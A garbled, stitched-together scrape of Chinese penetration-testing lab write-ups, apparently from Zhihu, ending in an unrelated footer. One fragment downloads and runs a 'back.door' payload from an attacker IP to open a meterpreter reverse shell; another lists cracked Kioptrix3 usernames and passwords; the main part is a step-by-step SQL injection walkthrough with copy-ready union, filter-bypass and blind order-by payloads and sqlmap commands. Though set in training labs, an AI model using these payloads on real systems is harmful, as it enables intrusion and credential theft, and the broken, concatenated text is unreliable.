&/code&&/pre&&/div&&p&kali机需要开启http服务,返回ssh的命令窗口,输入&code&wget http://攻击机ip/back.door&/code&,成功下载攻击载荷&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&chomod a+x back.door ,添加可执行权限
&/code&&/pre&&/div&&p&先在攻击机运行&/p&&figure&&img src=&https://pic1.zhimg.com/v2-648a58bf7ddbc3ca9d80b8_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&727& data-rawheight=&378& class=&origin_image zh-lightbox-thumb& width=&727& data-original=&https://pic1.zhimg.com/v2-648a58bf7ddbc3ca9d80b8_r.jpg&&&/figure&&p&然后在ssh命令行&code&./back.door&/code&&/p&&figure&&img src=&https://pic4.zhimg.com/v2-8c7e612e3d9d31fd807b40d952d3219b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&752& data-rawheight=&144& class=&origin_image zh-lightbox-thumb& width=&752& data-original=&https://pic4.zhimg.com/v2-8c7e612e3d9d31fd807b40d952d3219b_r.jpg&&&/figure&&p&&b&192.168.1.103&/b&是目标主机ip本地获得&code&meterpreter&/code&。在攻击机监听本地ip的999端口,back.door会主动连接kali linux。&/p&&p&The End!&/p&
作者:whale利用sqlmap获取数据库用户密码的hash值。获取信息用户名:dreg
hash值:0d3eccfb887aabd50f243b3f155c0f85
解密后:Mast3r
用户名:loneferret
hash值:5badcaf789d3d1df40f0e
解密后:starwars sqlmap -u "kioptrix3.com/gall…
&figure&&img src=&https://pic4.zhimg.com/v2-c7a88bee6ca7c35b61fa94d_b.jpg& data-rawwidth=&700& data-rawheight=&468& class=&origin_image zh-lightbox-thumb& width=&700& data-original=&https://pic4.zhimg.com/v2-c7a88bee6ca7c35b61fa94d_r.jpg&&&/figure&&p&&b&作者:啊陈&/b&&/p&&h2&&b&壹&/b&&/h2&&p&首先看到&code&name=root&/code&root属于字符,字符一般都是拼接,所以输入&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&name=root' and '1'='1
&/code&&/pre&&/div&&p&上述输入正常。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&name=root 'and '1'='2
&/code&&/pre&&/div&&p&这里就不正常,基本说明存在Sql注入。&/p&&p&核心源代码如下:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&$sql = &SELECT * FROM users where name='root' and 1=1 #&;
$sql .= $_GET[&name&].&'&;
$result = mysql_query($sql);
&/code&&/pre&&/div&&p&如上述代码所示,带入的时候就是这样的:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&SELECT * FROM users where name='root' and '1'='1'
SELECT * FROM users where name='root' and '1'='2'
&/code&&/pre&&/div&&p&其实也可以这样输入:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&?name=root' and 1=1 #
&/code&&/pre&&/div&&p&带入后就是&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&SELECT * FROM users where name='root' and 1=1 %23
&/code&&/pre&&/div&&p&&code&#&/code&编码后就是&code&%23&/code&&/p&&p&这样就好办了,接下来使用&code&order by&/code& 来判断有几个表。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&?name=root' order by 5 %23
&/code&&/pre&&/div&&p&输入5的时候正常,6的时候错误,说明有5个表。&/p&&p&接下来使用手工进行注入。先看&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&?name=root' and 1=2 UNION SELECT 1,2,3,4,5 %23
&/code&&/pre&&/div&&figure&&img src=&https://pic1.zhimg.com/v2-0bf4e7def6ab_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&913& data-rawheight=&157& class=&origin_image zh-lightbox-thumb& width=&913& data-original=&https://pic1.zhimg.com/v2-0bf4e7def6ab_r.jpg&&&/figure&&p&如上图,爆出了1,2,3。说明这三个点可以进行注入查询。&/p&&p&查看所有数据库:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&name=root' and 1=2 UNION SELECT group_concat(schema_name),2,3,4,5 from information_schema.schemata %23
&/code&&/pre&&/div&&p&其中有&code&information_schema&/code&和&code&exercises&/code&,第一个就不说了,系统自带,数据库就是第二个,接下来看表名。&/p&&p&查看exercises数据库的表:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&name=root' and 1=2 UNION
SELECT group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema='exercises' %23
&/code&&/pre&&/div&&p&列出了只有一个user表,查看user表下有哪些列:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&name=root' and 1=2 UNION
SELECT 1,group_concat(column_name)
from information_schema.columns where table_name=0x %23
&/code&&/pre&&/div&&p&注意,这里语句最后最好用HEX值。这里查出来有:&code&id,name,age,groupid,passwd&/code&列。&/p&&p&我这里只看admin和passwd这两个字段的值。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&name=root' UNION SELECT 1,name,passwd,4,5 from users %23
&/code&&/pre&&/div&&figure&&img src=&https://pic3.zhimg.com/v2-dff3d1df4176_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&821& data-rawheight=&332& class=&origin_image zh-lightbox-thumb& width=&821& data-original=&https://pic3.zhimg.com/v2-dff3d1df4176_r.jpg&&&/figure&&p&如上图,这里注入到了账号密码。&/p&&h2&&b&贰&/b&&/h2&&p&经过测试,第二个过滤了空格,这里使用内联注释即可 。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&?name=root'/**/and/**/1=1/**/%23
&/code&&/pre&&/div&&p&接下来跟第一个一样,只需要把空格换成&code&/**/&/code& 即可。看下代码。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-ea63e2f82a3dc7706acaf1f_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&653& data-rawheight=&156& class=&origin_image zh-lightbox-thumb& width=&653& data-original=&https://pic4.zhimg.com/v2-ea63e2f82a3dc7706acaf1f_r.jpg&&&/figure&&p&这里过滤了空格。&/p&&h2&&b&叁&/b&&/h2&&p&第三个使用内联注释貌似也是可以的,看下代码。&/p&&figure&&img src=&https://pic2.zhimg.com/v2-be9ea4f35700abe74050fa8d_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&623& data-rawheight=&193& class=&origin_image zh-lightbox-thumb& width=&623& data-original=&https://pic2.zhimg.com/v2-be9ea4f35700abe74050fa8d_r.jpg&&&/figure&&p&感觉跟上一个没啥区别,都是出现空格就报错。&/p&&h2&&b&肆&/b&&/h2&&p&这里把name换成了id,把字符换成了数字,经测试,没有任何过滤。也不用闭合引号,直接进行手工注入即可。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&//判断表长度
//查看所有库名
UNION SELECT group_concat(schema_name),2,3,4,5 from information_schema.schemata
//查看所有表名
SELECT group_concat(table_name),2,3,4,5 from information_schema.tables where table_schema='exercises'
//查看所有列名
SELECT 1,group_concat(column_name) ,3,4,5
from information_schema.columns where table_name=0x
//获取列数据
UNION SELECT 1,name,passwd,4,5 from users
&/code&&/pre&&/div&&p&最终获取到了数据&/p&&h2&&b&伍&/b&&/h2&&p&这个和第四个好像没啥区别,利用第四个的语句就可以直接搞出来密码这里我看下代码:&/p&&figure&&img src=&https://pic4.zhimg.com/v2-aaee11da3b_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&608& data-rawheight=&174& class=&origin_image zh-lightbox-thumb& width=&608& data-original=&https://pic4.zhimg.com/v2-aaee11da3b_r.jpg&&&/figure&&p&这个的意思是,ID的参数必须是数字,如果是字符或者其他东西,就会执行die语句。&/p&&h2&&b&陆&/b&&/h2&&p&这个和第五个区别不大。看代码,同样使用第四个可以直接得到密码&/p&&figure&&img src=&https://pic2.zhimg.com/v2-e242c1d8e74dcba3a626753bfe875651_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&649& data-rawheight=&186& class=&origin_image zh-lightbox-thumb& width=&649& data-original=&https://pic2.zhimg.com/v2-e242c1d8e74dcba3a626753bfe875651_r.jpg&&&/figure&&p&这个的意思是,ID的参数结尾必须以数字,比如你输入&code&aaa1&/code&,他也不会执行die,如果输入&code&123a&/code&,他就会执行die。&/p&&h2&&b&柒&/b&&/h2&&p&这个利用之前的那些方法都不能绕过,但是根据这个环境之前的尿性,估计也还是一条正则,看下代码,正则匹配:每行必须是纯数字。&/p&&figure&&img src=&https://pic2.zhimg.com/v2-851ff45e1fe28fdc55024d_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&675& data-rawheight=&173& class=&origin_image zh-lightbox-thumb& width=&675& data-original=&https://pic2.zhimg.com/v2-851ff45e1fe28fdc55024d_r.jpg&&&/figure&&p&通俗讲,比如id=1,可以正常带入查询,因为1是纯数字,但是如果你在id后面加上&code&and 1=1&/code& ,这时候就不行了,因为有了其他字符。&/p&&p&绕过:他这里有个m,会验证每一行,每行之间是属于or的关系,意思就是,只要有一行符合规则,就可以正常执行语句。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&id=1%0Aand 1=1
&/code&&/pre&&/div&&p&%0A是换行符,这样就绕过了正则。&/p&&h2&&b&捌&/b&&/h2&&p&他通过提示order by 可以看出来,可能是order by注入。这里根据第九个来就行,语句都一样,格式稍有差距,根据下面的代码来即可。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&order=name`,(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x75,1,0x00)) %23
&/code&&/pre&&/div&&p&sqlmap:&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&sqlmap.py -u http://IP/sqli/example8.php?order=name --prefix=`--suffix #
&/code&&/pre&&/div&&p&代码如下:&/p&&figure&&img src=&https://pic3.zhimg.com/v2-4b8eaafc4f22b86f542c8e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&799& data-rawheight=&145& class=&origin_image zh-lightbox-thumb& width=&799& data-original=&https://pic3.zhimg.com/v2-4b8eaafc4f22b86f542c8e_r.jpg&&&/figure&&h2&&b&玖&/b&&/h2&&p&这里使用order By注入:语句如下:&/p&&p&现在猜解数据库的表名,需要一位数一位数的去猜解。比如现在输入0x75,返回正常,说明数据库名称第一位字符是&code&u&/code&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x75,1,0x00))
&/code&&/pre&&/div&&p&第二位是&code&s&/code&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),2,1)=0x73,1,0x00))
&/code&&/pre&&/div&&p&第三位是&code&e&/code&&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),3,1)=0x65,1,0x00))
&/code&&/pre&&/div&&p&剩下的我就不猜了。&/p&&p&最终得出数据库第一个表为&code&users&/code&&/p&&p&&b&接下来猜解users表中的第一个列名:&/b&第一个值为0x69,也就是&code&i&/code&。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name=0x +limit+0,1),1,1)=0x69,1,0x00))
&/code&&/pre&&/div&&p&第二个值是0x64,也就是&code&d&/code&。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name=0x +limit+0,1),2,1)=0x64,1,0x00))
&/code&&/pre&&/div&&p&&b&继续猜解users表中的第二个列名:&/b&得出来为n&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name=0x +limit+1,1),1,1)=0x6E,1,0x00))
&/code&&/pre&&/div&&p&我就不继续搞了,注入这个还行。就是有点费烟。&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&sqlmap.py -u http://192.168.11.139/sqli/example8.php?order=1
&/code&&/pre&&/div&&p&代码如下:&/p&&figure&&img src=&https://pic3.zhimg.com/v2-6f5b5acb21267fb8ddc435e_b.jpg& data-caption=&& data-size=&normal& data-rawwidth=&702& data-rawheight=&151& class=&origin_image zh-lightbox-thumb& width=&702& data-original=&https://pic3.zhimg.com/v2-6f5b5acb21267fb8ddc435e_r.jpg&&&/figure&&p&&/p&
作者:啊陈壹首先看到name=rootroot属于字符,字符一般都是拼接,所以输入name=root' and '1'='1上述输入正常。name=root 'and '1'='2这里就不正常,基本说明存在Sql注入。核心源代码如下:$sql = "SELECT * FROM users where name='root' and 1=1 #";
&figure&&img src=&https://pic1.zhimg.com/v2-81fd451909_b.jpg& data-rawwidth=&450& data-rawheight=&323& class=&origin_image zh-lightbox-thumb& width=&450& data-original=&https://pic1.zhimg.com/v2-81fd451909_r.jpg&&&/figure&&p&本文原创作者:EEE&/p&&p&原创投稿详情:&a href=&http://link.zhihu.com/?target=http%3A//mp.weixin.qq.com/s%3F__biz%3DMjM5MTYxNjQxOA%3D%3D%26mid%3D%26idx%3D2%26sn%3Da77d5ffffceb%26chksm%3Dbdecca808f62eecab235d216c891df2dd114bdbad37bccd%26scene%3D21%23wechat_redirect& class=& wrap external& target=&_blank& rel=&nofollow n

我要回帖

更多关于 modbus通讯协议详解 的文章

 

随机推荐